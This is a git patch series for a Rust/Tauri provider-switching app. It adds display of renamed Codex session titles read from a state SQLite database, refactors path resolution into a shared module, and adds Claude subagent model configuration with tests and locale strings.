"sevenDayOpus": "7 天 (Opus)", "sevenDaySonnet": "7 天 (Sonnet)", + "thirtyDay": "30 天", "geminiPro": "Pro", "geminiFlash": "Flash", "geminiFlashLite": "Flash Lite", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 7e254de70..9c310a23b 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -2903,6 +2903,7 @@ "sevenDay": "7天", "sevenDayOpus": "7天(Opus)", "sevenDaySonnet": "7天(Sonnet)", + "thirtyDay": "30天", "geminiPro": "Pro", "geminiFlash": "Flash", "geminiFlashLite": "Flash Lite", From e606adfae7328acf836292701ad25cb1afe523f6 Mon Sep 17 00:00:00 2001 From: makoMakoGo <48956204+makoMakoGo@users.noreply.github.com> Date: Mon, 6 Jul 2026 09:11:55 +0800 Subject: [PATCH 05/73] fix(codex): display renamed session titles (#4927) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(codex): display renamed session titles * fix(codex): resolve custom state db for titles * refactor(codex): dedupe state-db resolution and harden title lookup - Extract a shared `codex_state_db` module for `state_5.sqlite` path resolution (config `sqlite_home` / `CODEX_SQLITE_HOME`), previously copy-pasted verbatim between codex_history_migration and the codex session provider. `state_5.sqlite` is now a single source of truth. - Add `busy_timeout` to the read-only title query; without it a read during a concurrent Codex write fails immediately (SQLITE_BUSY) and renamed titles silently fall back to the first user message. - Push the `title == first_user_message` comparison into the SQL WHERE clause (NULL-safe, aligning with Codex's `distinct_thread_metadata_title` semantics) and stop SELECTing `first_user_message`, which can hold large values (openai/codex#29007) — the comparison belongs in SQL anyway, so the column no longer needs to cross into Rust. --- src-tauri/src/codex_history_migration.rs | 52 +-- src-tauri/src/codex_state_db.rs | 98 ++++++ src-tauri/src/lib.rs | 1 + .../src/session_manager/providers/codex.rs | 327 +++++++++++++++++- 4 files changed, 424 insertions(+), 54 deletions(-) create mode 100644 src-tauri/src/codex_state_db.rs diff --git a/src-tauri/src/codex_history_migration.rs b/src-tauri/src/codex_history_migration.rs index 648af4d81..4d99bf2a6 100644 --- a/src-tauri/src/codex_history_migration.rs +++ b/src-tauri/src/codex_history_migration.rs @@ -6,6 +6,7 @@ use crate::codex_config::{ get_codex_config_dir, read_codex_config_text, CC_SWITCH_CODEX_MODEL_PROVIDER_ID, }; +use crate::codex_state_db::codex_state_db_paths; use crate::config::{atomic_write, copy_file, get_app_config_dir}; use crate::database::{is_official_seed_id, Database}; use crate::error::AppError; @@ -28,7 +29,6 @@ const MIGRATION_NAME: &str = "codex-history-provider-migration-v1"; const OFFICIAL_UNIFY_MIGRATION_NAME: &str = "codex-official-history-unify-v1"; /// 还原操作自身的备份目录(与迁移备份分开,保持迁移账本目录纯净)。 const OFFICIAL_UNIFY_RESTORE_BACKUP_NAME: &str = "codex-official-history-unify-restore-v1"; -const CODEX_STATE_DB_FILENAME: &str = "state_5.sqlite"; /// SQLite 变量上限保守值,IN 列表按此分块。 const STATE_DB_ID_CHUNK: usize = 500; @@ -1116,55 +1116,6 @@ fn migrate_codex_state_dbs( Ok(migrated) } -fn codex_state_db_paths(codex_dir: &Path, config_text: &str) -> Vec { - let mut paths = Vec::new(); - push_unique_path(&mut paths, codex_dir.join(CODEX_STATE_DB_FILENAME)); - // Codex lets SQLite state move away from CODEX_HOME; config takes precedence. - if let Some(sqlite_home) = sqlite_home_from_codex_config(config_text) { - push_unique_path(&mut paths, sqlite_home.join(CODEX_STATE_DB_FILENAME)); - } else if let Some(sqlite_home) = sqlite_home_from_env() { - push_unique_path(&mut paths, sqlite_home.join(CODEX_STATE_DB_FILENAME)); - } - paths -} - -fn push_unique_path(paths: &mut Vec, path: PathBuf) { - if !paths.contains(&path) { - paths.push(path); - } -} - -fn sqlite_home_from_codex_config(config_text: &str) -> Option { - let doc = config_text.parse::().ok()?; - let raw = doc.get("sqlite_home")?.as_str()?.trim(); - if raw.is_empty() { - return None; - } - Some(resolve_user_path(raw)) -} - -fn sqlite_home_from_env() -> Option { - let raw = std::env::var("CODEX_SQLITE_HOME").ok()?; - let raw = raw.trim(); - if raw.is_empty() { - return None; - } - Some(resolve_user_path(raw)) -} - -fn resolve_user_path(raw: &str) -> PathBuf { - if raw == "~" { - return crate::config::get_home_dir(); - } - if let Some(rest) = raw.strip_prefix("~/") { - return crate::config::get_home_dir().join(rest); - } - if let Some(rest) = raw.strip_prefix("~\\") { - return crate::config::get_home_dir().join(rest); - } - PathBuf::from(raw) -} - fn migrate_codex_state_db_provider_bucket( db_path: &Path, codex_dir: &Path, @@ -1329,6 +1280,7 @@ fn relative_backup_path(path: &Path, root: &Path) -> PathBuf { #[cfg(test)] mod tests { use super::*; + use crate::codex_state_db::CODEX_STATE_DB_FILENAME; use crate::provider::Provider; use serial_test::serial; use std::ffi::OsString; diff --git a/src-tauri/src/codex_state_db.rs b/src-tauri/src/codex_state_db.rs new file mode 100644 index 000000000..ba5ee4e28 --- /dev/null +++ b/src-tauri/src/codex_state_db.rs @@ -0,0 +1,98 @@ +//! Locating Codex's per-thread state SQLite databases. +//! +//! Codex stores thread metadata in `state_5.sqlite`, normally inside the Codex +//! config dir (`CODEX_HOME` / `~/.codex`). The SQLite location can be moved with +//! the `sqlite_home` key in `config.toml` or the `CODEX_SQLITE_HOME` env var; +//! when set, a second DB lives there. Both history migration and the session +//! list's title lookup need the same resolution, so it lives here once. + +use std::path::{Path, PathBuf}; + +use toml_edit::DocumentMut; + +use crate::config::get_home_dir; + +/// Filename of Codex's per-thread state database. Codex bumps the version +/// number across releases; update this single source of truth when a new state +/// DB version ships. +pub(crate) const CODEX_STATE_DB_FILENAME: &str = "state_5.sqlite"; + +/// Env var that overrides the Codex SQLite state directory. +const CODEX_SQLITE_HOME_ENV: &str = "CODEX_SQLITE_HOME"; + +/// Resolve every candidate `state_5.sqlite` path: the config-dir DB plus, when +/// Codex is configured to keep its SQLite state elsewhere, that DB too. +/// +/// `config_dir` is the Codex config dir (`~/.codex`); `config_text` is the raw +/// `config.toml` contents, used to detect a `sqlite_home` override. +pub(crate) fn codex_state_db_paths(config_dir: &Path, config_text: &str) -> Vec { + let mut paths = Vec::new(); + push_unique_path(&mut paths, config_dir.join(CODEX_STATE_DB_FILENAME)); + // Codex lets SQLite state move away from CODEX_HOME; config takes precedence. + if let Some(sqlite_home) = sqlite_home_from_codex_config(config_text) { + push_unique_path(&mut paths, sqlite_home.join(CODEX_STATE_DB_FILENAME)); + } else if let Some(sqlite_home) = sqlite_home_from_env() { + push_unique_path(&mut paths, sqlite_home.join(CODEX_STATE_DB_FILENAME)); + } + paths +} + +fn push_unique_path(paths: &mut Vec, path: PathBuf) { + if !paths.contains(&path) { + paths.push(path); + } +} + +fn sqlite_home_from_codex_config(config_text: &str) -> Option { + let doc = config_text.parse::().ok()?; + let raw = doc.get("sqlite_home")?.as_str()?.trim(); + if raw.is_empty() { + return None; + } + Some(resolve_user_path(raw)) +} + +fn sqlite_home_from_env() -> Option { + let raw = std::env::var(CODEX_SQLITE_HOME_ENV).ok()?; + let raw = raw.trim(); + if raw.is_empty() { + return None; + } + Some(resolve_user_path(raw)) +} + +fn resolve_user_path(raw: &str) -> PathBuf { + if raw == "~" { + return get_home_dir(); + } + if let Some(rest) = raw.strip_prefix("~/") { + return get_home_dir().join(rest); + } + if let Some(rest) = raw.strip_prefix("~\\") { + return get_home_dir().join(rest); + } + PathBuf::from(raw) +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + #[test] + fn includes_config_sqlite_home() { + let temp = tempdir().expect("tempdir"); + let sqlite_home = temp.path().join("sqlite-home"); + let config_text = format!("sqlite_home = \"{}\"\n", sqlite_home.display()); + + let paths = codex_state_db_paths(temp.path(), &config_text); + + assert_eq!( + paths, + vec![ + temp.path().join(CODEX_STATE_DB_FILENAME), + sqlite_home.join(CODEX_STATE_DB_FILENAME), + ] + ); + } +} diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index b6e0deee5..d5432f077 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -6,6 +6,7 @@ mod claude_mcp; mod claude_plugin; mod codex_config; mod codex_history_migration; +mod codex_state_db; mod commands; mod config; mod database; diff --git a/src-tauri/src/session_manager/providers/codex.rs b/src-tauri/src/session_manager/providers/codex.rs index 616a30458..e2383fe6c 100644 --- a/src-tauri/src/session_manager/providers/codex.rs +++ b/src-tauri/src/session_manager/providers/codex.rs @@ -1,12 +1,17 @@ +use std::collections::HashMap; use std::fs::File; use std::io::{BufRead, BufReader}; use std::path::{Path, PathBuf}; use std::sync::LazyLock; +use std::time::Duration; use regex::Regex; +use rusqlite::Connection; +use serde::Deserialize; use serde_json::Value; -use crate::codex_config::get_codex_config_dir; +use crate::codex_config::{get_codex_config_dir, read_codex_config_text}; +use crate::codex_state_db::codex_state_db_paths; use crate::session_manager::{SessionMessage, SessionMeta}; use super::utils::{ @@ -15,6 +20,7 @@ use super::utils::{ }; const PROVIDER_ID: &str = "codex"; +const CODEX_SESSION_INDEX_FILENAME: &str = "session_index.jsonl"; const VSCODE_CONTEXT_PREFIX: &str = "# Context from my IDE setup:"; const CODEX_REQUEST_MARKER: &str = "my request for codex"; @@ -23,6 +29,12 @@ static UUID_RE: LazyLock = LazyLock::new(|| { .unwrap() }); +#[derive(Deserialize)] +struct SessionIndexEntry { + id: String, + thread_name: String, +} + pub fn scan_sessions() -> Vec { let roots = session_roots(); scan_sessions_in_roots(&roots) @@ -37,6 +49,14 @@ pub fn session_roots() -> Vec { } fn scan_sessions_in_roots(roots: &[PathBuf]) -> Vec { + let thread_titles = load_thread_titles(); + scan_sessions_in_roots_with_titles(roots, &thread_titles) +} + +fn scan_sessions_in_roots_with_titles( + roots: &[PathBuf], + thread_titles: &HashMap, +) -> Vec { let mut files = Vec::new(); for root in roots { collect_jsonl_files(root, &mut files); @@ -44,7 +64,7 @@ fn scan_sessions_in_roots(roots: &[PathBuf]) -> Vec { let mut sessions = Vec::new(); for path in files { - if let Some(meta) = parse_session(&path) { + if let Some(meta) = parse_session_with_titles(&path, thread_titles) { sessions.push(meta); } } @@ -52,6 +72,135 @@ fn scan_sessions_in_roots(roots: &[PathBuf]) -> Vec { sessions } +fn load_thread_titles() -> HashMap { + let config_dir = get_codex_config_dir(); + let config_text = read_codex_config_text().unwrap_or_default(); + let db_paths = codex_state_db_paths(&config_dir, &config_text); + load_thread_titles_from_paths(&config_dir.join(CODEX_SESSION_INDEX_FILENAME), &db_paths) +} + +fn load_thread_titles_from_paths( + session_index_path: &Path, + db_paths: &[PathBuf], +) -> HashMap { + let mut titles = load_thread_titles_from_session_index(session_index_path); + for db_path in db_paths { + titles.extend(load_thread_titles_from_db(db_path)); + } + titles +} + +fn load_thread_titles_from_session_index(index_path: &Path) -> HashMap { + if !index_path.exists() { + return HashMap::new(); + } + + let file = match File::open(index_path) { + Ok(file) => file, + Err(err) => { + log::warn!( + "Failed to open Codex session index {}: {err}", + index_path.display() + ); + return HashMap::new(); + } + }; + + let reader = BufReader::new(file); + let mut titles = HashMap::new(); + for line in reader.lines() { + let line = match line { + Ok(line) => line, + Err(_) => continue, + }; + let Ok(entry) = serde_json::from_str::(line.trim()) else { + continue; + }; + let id = entry.id.trim(); + let title = entry.thread_name.trim(); + if !id.is_empty() && !title.is_empty() { + titles.insert(id.to_string(), title.to_string()); + } + } + + titles +} + +fn load_thread_titles_from_db(db_path: &Path) -> HashMap { + if !db_path.exists() { + return HashMap::new(); + } + + let conn = match Connection::open_with_flags( + db_path, + rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY | rusqlite::OpenFlags::SQLITE_OPEN_NO_MUTEX, + ) { + Ok(conn) => conn, + Err(err) => { + log::warn!( + "Failed to open Codex state database {}: {err}", + db_path.display() + ); + return HashMap::new(); + } + }; + // Codex keeps this DB open and write-locked while running; without a busy + // timeout a read during a write fails immediately and titles silently drop. + if let Err(err) = conn.busy_timeout(Duration::from_secs(2)) { + log::warn!( + "Failed to set Codex state database busy timeout for {}: {err}", + db_path.display() + ); + return HashMap::new(); + } + + // Mirror Codex's own `distinct_thread_metadata_title`: keep a title only + // when it differs from the first user message. Push the comparison into SQL + // (NULL-safe) so we never SELECT the unbounded `first_user_message` blob — + // it can grow large enough to OOM (openai/codex#29007). + let mut stmt = match conn.prepare( + "SELECT id, title FROM threads \ + WHERE title <> '' \ + AND (first_user_message IS NULL OR TRIM(title) <> TRIM(first_user_message))", + ) { + Ok(stmt) => stmt, + Err(err) => { + log::warn!( + "Failed to prepare Codex thread title query for {}: {err}", + db_path.display() + ); + return HashMap::new(); + } + }; + + let rows = match stmt.query_map([], |row| { + let id: String = row.get(0)?; + let title: String = row.get(1)?; + Ok((id, title)) + }) { + Ok(rows) => rows, + Err(err) => { + log::warn!( + "Failed to query Codex thread titles from {}: {err}", + db_path.display() + ); + return HashMap::new(); + } + }; + + rows.flatten() + .filter_map(|(id, title)| { + let id = id.trim(); + let title = title.trim(); + if id.is_empty() || title.is_empty() { + None + } else { + Some((id.to_string(), title.to_string())) + } + }) + .collect() +} + pub fn load_messages(path: &Path) -> Result, String> { let file = File::open(path).map_err(|e| format!("Failed to open session file: {e}"))?; let reader = BufReader::new(file); @@ -141,6 +290,13 @@ pub fn delete_session(_root: &Path, path: &Path, session_id: &str) -> Result Option { + parse_session_with_titles(path, &HashMap::new()) +} + +fn parse_session_with_titles( + path: &Path, + thread_titles: &HashMap, +) -> Option { let (head, tail) = read_head_tail_lines(path, 10, 30).ok()?; let mut session_id: Option = None; @@ -233,8 +389,10 @@ fn parse_session(path: &Path) -> Option { let session_id = session_id.or_else(|| infer_session_id_from_filename(path)); let session_id = session_id?; - let title = first_user_message - .map(|t| truncate_summary(&t, TITLE_MAX_CHARS)) + let title = thread_titles + .get(&session_id) + .map(|t| truncate_summary(t, TITLE_MAX_CHARS)) + .or_else(|| first_user_message.map(|t| truncate_summary(&t, TITLE_MAX_CHARS))) .or_else(|| { project_dir .as_deref() @@ -366,6 +524,7 @@ fn collect_jsonl_files(root: &Path, files: &mut Vec) { #[cfg(test)] mod tests { use super::*; + use crate::codex_state_db::CODEX_STATE_DB_FILENAME; use tempfile::tempdir; fn write_codex_session(path: &Path, session_id: &str, message: &str) { @@ -443,6 +602,166 @@ mod tests { assert_eq!(meta.title.as_deref(), Some("How do I deploy?")); } + #[test] + fn parse_session_prefers_thread_title() { + let temp = tempdir().expect("tempdir"); + let path = temp.path().join("session.jsonl"); + std::fs::write( + &path, + concat!( + "{\"timestamp\":\"2026-03-06T21:50:12Z\",\"type\":\"session_meta\",\"payload\":{\"id\":\"test-id\",\"cwd\":\"/tmp/project\"}}\n", + "{\"timestamp\":\"2026-03-06T21:50:13Z\",\"type\":\"response_item\",\"payload\":{\"type\":\"message\",\"role\":\"user\",\"content\":\"How do I deploy?\"}}\n" + ), + ) + .expect("write"); + + let mut thread_titles = HashMap::new(); + thread_titles.insert( + "test-id".to_string(), + "Renamed deployment thread".to_string(), + ); + + let meta = parse_session_with_titles(&path, &thread_titles).unwrap(); + assert_eq!(meta.title.as_deref(), Some("Renamed deployment thread")); + } + + #[test] + fn load_thread_titles_from_state_db_trims_and_filters_titles() { + let temp = tempdir().expect("tempdir"); + let db_path = temp.path().join(CODEX_STATE_DB_FILENAME); + let conn = Connection::open(&db_path).expect("open sqlite db"); + conn.execute( + "CREATE TABLE threads (id TEXT PRIMARY KEY, title TEXT NOT NULL, first_user_message TEXT NOT NULL)", + [], + ) + .expect("create threads table"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, ?3)", + ("thread-1", " Renamed Codex thread ", "First prompt"), + ) + .expect("insert renamed thread"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, ?3)", + ("thread-2", " ", "First prompt"), + ) + .expect("insert blank thread"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, ?3)", + ("thread-3", " First prompt ", "First prompt"), + ) + .expect("insert first-message title"); + drop(conn); + + let titles = load_thread_titles_from_db(&db_path); + + assert_eq!( + titles.get("thread-1").map(String::as_str), + Some("Renamed Codex thread") + ); + assert!(!titles.contains_key("thread-2")); + assert!(!titles.contains_key("thread-3")); + } + + #[test] + fn load_thread_titles_from_state_db_keeps_title_when_first_user_message_null() { + let temp = tempdir().expect("tempdir"); + let db_path = temp.path().join(CODEX_STATE_DB_FILENAME); + let conn = Connection::open(&db_path).expect("open sqlite db"); + // Codex stores first_user_message as a nullable column (Option); + // a renamed thread can have a title before any first message is synced. + conn.execute( + "CREATE TABLE threads (id TEXT PRIMARY KEY, title TEXT NOT NULL, first_user_message TEXT)", + [], + ) + .expect("create threads table"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, NULL)", + ("thread-1", "Renamed thread"), + ) + .expect("insert renamed thread without first message"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, ?3)", + ("thread-2", "First prompt", "First prompt"), + ) + .expect("insert first-message title"); + drop(conn); + + let titles = load_thread_titles_from_db(&db_path); + + // Kept: title present and no first message to compare against. + assert_eq!( + titles.get("thread-1").map(String::as_str), + Some("Renamed thread") + ); + // Filtered: title equals the first user message. + assert!(!titles.contains_key("thread-2")); + } + + #[test] + fn load_thread_titles_from_session_index_uses_latest_name() { + let temp = tempdir().expect("tempdir"); + let index_path = temp.path().join(CODEX_SESSION_INDEX_FILENAME); + std::fs::write( + &index_path, + concat!( + "{\"id\":\"thread-1\",\"thread_name\":\"Old name\",\"updated_at\":\"2026-07-01T00:00:00Z\"}\n", + "{\"id\":\"thread-2\",\"thread_name\":\" \",\"updated_at\":\"2026-07-01T00:00:00Z\"}\n", + "not json\n", + "{\"id\":\"thread-1\",\"thread_name\":\" New name \",\"updated_at\":\"2026-07-02T00:00:00Z\"}\n" + ), + ) + .expect("write session index"); + + let titles = load_thread_titles_from_session_index(&index_path); + + assert_eq!(titles.get("thread-1").map(String::as_str), Some("New name")); + assert!(!titles.contains_key("thread-2")); + } + + #[test] + fn load_thread_titles_prefers_state_db_explicit_title_over_session_index() { + let temp = tempdir().expect("tempdir"); + let index_path = temp.path().join(CODEX_SESSION_INDEX_FILENAME); + std::fs::write( + &index_path, + concat!( + "{\"id\":\"thread-1\",\"thread_name\":\"Legacy name\",\"updated_at\":\"2026-07-01T00:00:00Z\"}\n", + "{\"id\":\"thread-2\",\"thread_name\":\"Legacy fallback\",\"updated_at\":\"2026-07-01T00:00:00Z\"}\n" + ), + ) + .expect("write session index"); + + let db_path = temp.path().join(CODEX_STATE_DB_FILENAME); + let conn = Connection::open(&db_path).expect("open sqlite db"); + conn.execute( + "CREATE TABLE threads (id TEXT PRIMARY KEY, title TEXT NOT NULL, first_user_message TEXT NOT NULL)", + [], + ) + .expect("create threads table"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, ?3)", + ("thread-1", "SQLite name", "First prompt"), + ) + .expect("insert sqlite title"); + conn.execute( + "INSERT INTO threads (id, title, first_user_message) VALUES (?1, ?2, ?3)", + ("thread-2", "First prompt", "First prompt"), + ) + .expect("insert first-message sqlite title"); + drop(conn); + + let titles = load_thread_titles_from_paths(&index_path, &[db_path]); + + assert_eq!( + titles.get("thread-1").map(String::as_str), + Some("SQLite name") + ); + assert_eq!( + titles.get("thread-2").map(String::as_str), + Some("Legacy fallback") + ); + } + #[test] fn parse_session_skips_agents_md_injection() { let temp = tempdir().expect("tempdir"); From b3e5e32c89d2e7ba0ec80df93427325bd79518e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=A7=8B=E6=BE=AAAkimio?= Date: Tue, 7 Jul 2026 10:28:36 +0800 Subject: [PATCH 06/73] feat: add Claude subagent model config (#4830) * feat: add Claude subagent takeover config * feat: add Claude subagent model field * i18n: add Claude subagent model labels * fix(proxy): preserve configured subagent model mapping * fix(providers): exclude subagent model from Claude common config * style: format rust code --- src-tauri/src/proxy/model_mapper.rs | 50 ++++++++++++ src-tauri/src/services/provider/mod.rs | 5 ++ src-tauri/src/services/proxy.rs | 75 ++++++++++++++++-- .../providers/forms/ClaudeFormFields.tsx | 76 +++++++++++++------ .../providers/forms/ProviderForm.tsx | 2 + .../providers/forms/hooks/useModelState.ts | 14 +++- src/i18n/locales/en.json | 2 + src/i18n/locales/ja.json | 2 + src/i18n/locales/zh-TW.json | 2 + src/i18n/locales/zh.json | 2 + tests/components/ClaudeFormFields.test.tsx | 22 ++++++ tests/hooks/useModelState.test.tsx | 38 ++++++++++ 12 files changed, 257 insertions(+), 33 deletions(-) diff --git a/src-tauri/src/proxy/model_mapper.rs b/src-tauri/src/proxy/model_mapper.rs index b2a18826e..bf1f413fa 100644 --- a/src-tauri/src/proxy/model_mapper.rs +++ b/src-tauri/src/proxy/model_mapper.rs @@ -12,6 +12,7 @@ pub struct ModelMapping { pub sonnet_model: Option, pub opus_model: Option, pub fable_model: Option, + pub subagent_model: Option, pub default_model: Option, } @@ -41,6 +42,11 @@ impl ModelMapping { .and_then(|v| v.as_str()) .filter(|s| !s.is_empty()) .map(String::from), + subagent_model: env + .and_then(|e| e.get("CLAUDE_CODE_SUBAGENT_MODEL")) + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty()) + .map(String::from), default_model: env .and_then(|e| e.get("ANTHROPIC_MODEL")) .and_then(|v| v.as_str()) @@ -55,6 +61,7 @@ impl ModelMapping { || self.sonnet_model.is_some() || self.opus_model.is_some() || self.fable_model.is_some() + || self.subagent_model.is_some() || self.default_model.is_some() } @@ -89,6 +96,13 @@ impl ModelMapping { } } + if let Some(ref m) = self.subagent_model { + if strip_one_m_suffix_for_upstream(original_model) == strip_one_m_suffix_for_upstream(m) + { + return original_model.to_string(); + } + } + // 2. 默认模型 if let Some(ref m) = self.default_model { return m.clone(); @@ -327,6 +341,42 @@ mod tests { assert_eq!(mapped, Some("default-model".to_string())); } + #[test] + fn test_subagent_model_preserved_before_default_fallback() { + let mut provider = create_provider_with_mapping(); + provider.settings_config = json!({ + "env": { + "ANTHROPIC_MODEL": "default-model", + "CLAUDE_CODE_SUBAGENT_MODEL": "gpt-5.4-mini" + } + }); + + let body = json!({"model": "gpt-5.4-mini"}); + let (result, original, mapped) = apply_model_mapping(body, &provider); + + assert_eq!(result["model"], "gpt-5.4-mini"); + assert_eq!(original, Some("gpt-5.4-mini".to_string())); + assert!(mapped.is_none()); + } + + #[test] + fn test_subagent_model_preserved_with_one_m_suffix_before_default_fallback() { + let mut provider = create_provider_with_mapping(); + provider.settings_config = json!({ + "env": { + "ANTHROPIC_MODEL": "default-model", + "CLAUDE_CODE_SUBAGENT_MODEL": "gpt-5.4-mini" + } + }); + + let body = json!({"model": "gpt-5.4-mini[1M]"}); + let (result, original, mapped) = apply_model_mapping(body, &provider); + + assert_eq!(result["model"], "gpt-5.4-mini[1M]"); + assert_eq!(original, Some("gpt-5.4-mini[1M]".to_string())); + assert!(mapped.is_none()); + } + #[test] fn test_no_mapping_configured() { let provider = create_provider_without_mapping(); diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index a884aae98..3e0bc62fd 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -672,6 +672,7 @@ mod tests { "AWS_BEARER_TOKEN_BEDROCK": "bedrock-tok", "ANTHROPIC_BASE_URL": "https://example.com", "ANTHROPIC_MODEL": "claude-x", + "CLAUDE_CODE_SUBAGENT_MODEL": "gpt-5.4-mini", // 可共享、非机密配置(复数 _TOKENS 不应被误剥) "ENABLE_TOOL_SEARCH": "true", "CLAUDE_CODE_MAX_OUTPUT_TOKENS": "8192" @@ -714,6 +715,9 @@ mod tests { // 端点/模型(provider-specific 非机密)也应剥掉 assert!(env.and_then(|e| e.get("ANTHROPIC_BASE_URL")).is_none()); assert!(env.and_then(|e| e.get("ANTHROPIC_MODEL")).is_none()); + assert!(env + .and_then(|e| e.get("CLAUDE_CODE_SUBAGENT_MODEL")) + .is_none()); // 可共享的非机密配置必须保留(含复数 _TOKENS 不被误剥) assert_eq!( @@ -2635,6 +2639,7 @@ impl ProviderService { "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME", + "CLAUDE_CODE_SUBAGENT_MODEL", "ANTHROPIC_BASE_URL", ]; diff --git a/src-tauri/src/services/proxy.rs b/src-tauri/src/services/proxy.rs index aa06bf459..72ef44b6f 100644 --- a/src-tauri/src/services/proxy.rs +++ b/src-tauri/src/services/proxy.rs @@ -26,7 +26,7 @@ const PROXY_TOKEN_PLACEHOLDER: &str = "PROXY_MANAGED"; /// 原因:接管模式下 `*_MODEL` 必须由 CC Switch 写成稳定的 Claude 角色别名, /// 再由本地代理映射到当前供应商真实模型;`*_MODEL_NAME` 也需要同步接管, /// 否则 Claude Code 模型菜单会残留上一个供应商的显示名称。 -const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 9] = [ +const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 10] = [ "ANTHROPIC_MODEL", "ANTHROPIC_REASONING_MODEL", // legacy: 已废弃,但旧配置可能残留 "ANTHROPIC_DEFAULT_HAIKU_MODEL", @@ -35,8 +35,8 @@ const CLAUDE_MODEL_OVERRIDE_ENV_KEYS: [&str; 9] = [ "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", - // Legacy key (已废弃):历史版本使用该字段区分 small/fast 模型 - "ANTHROPIC_SMALL_FAST_MODEL", + "ANTHROPIC_SMALL_FAST_MODEL", // Legacy key (已废弃):历史版本使用该字段区分 small/fast 模型 + "CLAUDE_CODE_SUBAGENT_MODEL", ]; const CLAUDE_TAKEOVER_HAIKU_MODEL: &str = "claude-haiku-4-5"; @@ -222,7 +222,9 @@ impl ProxyService { .or(default_model) .or(small_fast_model); - let mut fields = Vec::with_capacity(6); + let subagent_model = Self::claude_env_string(env, "CLAUDE_CODE_SUBAGENT_MODEL"); + + let mut fields = Vec::with_capacity(7); Self::push_claude_takeover_role_fields( &mut fields, env, @@ -250,6 +252,9 @@ impl ProxyService { true, opus_model, ); + if let Some(subagent_model) = subagent_model { + fields.push(("CLAUDE_CODE_SUBAGENT_MODEL", subagent_model.to_string())); + } fields } @@ -2857,7 +2862,8 @@ mod tests { "ANTHROPIC_MODEL": "claude-sonnet-4.6", "ANTHROPIC_DEFAULT_HAIKU_MODEL": "claude-haiku-4.5", "ANTHROPIC_DEFAULT_SONNET_MODEL": "claude-sonnet-4.6", - "ANTHROPIC_DEFAULT_OPUS_MODEL": "claude-sonnet-4.6" + "ANTHROPIC_DEFAULT_OPUS_MODEL": "claude-sonnet-4.6", + "CLAUDE_CODE_SUBAGENT_MODEL": "claude-sonnet-4.6[1M]" } }), None, @@ -2877,7 +2883,8 @@ mod tests { "ANTHROPIC_DEFAULT_SONNET_MODEL": "stale-sonnet", "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME": "Stale Sonnet", "ANTHROPIC_DEFAULT_OPUS_MODEL": "stale-opus", - "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME": "Stale Opus" + "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME": "Stale Opus", + "CLAUDE_CODE_SUBAGENT_MODEL": "stale-subagent" } }); ProxyService::apply_claude_takeover_fields_for_provider( @@ -2917,10 +2924,53 @@ mod tests { "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", Some("claude-sonnet-4.6"), ); + assert_env_str( + env, + "CLAUDE_CODE_SUBAGENT_MODEL", + Some("claude-sonnet-4.6[1M]"), + ); assert_env_str(env, "ANTHROPIC_API_KEY", Some(PROXY_TOKEN_PLACEHOLDER)); assert_env_str(env, "ANTHROPIC_AUTH_TOKEN", None); } + #[test] + fn managed_account_claude_takeover_removes_stale_subagent_model_when_provider_omits_it() { + let mut provider = Provider::with_id( + "codex".to_string(), + "Codex".to_string(), + json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://chatgpt.com/backend-api/codex", + "ANTHROPIC_DEFAULT_SONNET_MODEL": "provider-sonnet" + } + }), + None, + ); + provider.meta = Some(ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + ..Default::default() + }); + + let mut live_config = json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://stale.example.com", + "ANTHROPIC_API_KEY": "stale-key", + "CLAUDE_CODE_SUBAGENT_MODEL": "stale-subagent" + } + }); + ProxyService::apply_claude_takeover_fields_for_provider( + &mut live_config, + "http://127.0.0.1:15721", + &provider, + ); + + let env = live_config + .get("env") + .and_then(|value| value.as_object()) + .expect("env should exist"); + assert_env_str(env, "CLAUDE_CODE_SUBAGENT_MODEL", None); + } + #[test] fn managed_account_claude_takeover_sources_codex_models_from_provider() { let mut provider = Provider::with_id( @@ -4564,7 +4614,8 @@ model = "gpt-5.1-codex" "ANTHROPIC_DEFAULT_HAIKU_MODEL_NAME": "DeepSeek V4 Flash", "ANTHROPIC_DEFAULT_SONNET_MODEL": "deepseek-v4-pro[1M]", "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME": "DeepSeek V4 Pro", - "ANTHROPIC_DEFAULT_OPUS_MODEL": "deepseek-v4-ultra [1m]" + "ANTHROPIC_DEFAULT_OPUS_MODEL": "deepseek-v4-ultra [1m]", + "CLAUDE_CODE_SUBAGENT_MODEL": "deepseek-v4-pro[1M]" }, "permissions": { "allow": ["Read"] } }), @@ -4591,7 +4642,8 @@ model = "gpt-5.1-codex" 